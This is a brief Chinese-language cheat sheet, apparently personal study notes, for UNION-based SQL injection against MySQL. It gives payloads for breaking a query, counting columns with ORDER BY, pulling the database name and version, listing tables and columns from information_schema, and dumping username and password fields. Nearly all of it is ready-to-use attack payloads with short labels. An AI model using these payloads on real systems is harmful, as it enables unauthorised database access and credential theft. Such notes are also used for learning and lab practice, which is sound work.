注释:--,#
打破查询:id = -1‘ 或者 and 1=2
order by 1,2,3,直到出现 wrong 。
union select 1,2,3;
union select 1,database(),3 ------获得数据库名称
union select 1,@@version,3 ------查看版本
爆表名:
union select 1, table_name,3 from information_schema.tables where table_schema='库名' limit 0,1
union select 1,table_name,3 from information_schema.tables where table_schema='库名' limit 1,1
-------输出第几行table_name
或者
union select 1, table_name,3 from information_schema.tables where table_schema=database()
limit 0,1
升级版(一次性全部输出):
union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='库名'
爆列名:
union select 1, group_concat(column_name),3 from information_schema.columns where table_name='表名'
爆字段:
union select 1,group_concat(password),group_concat(username),3 from 表名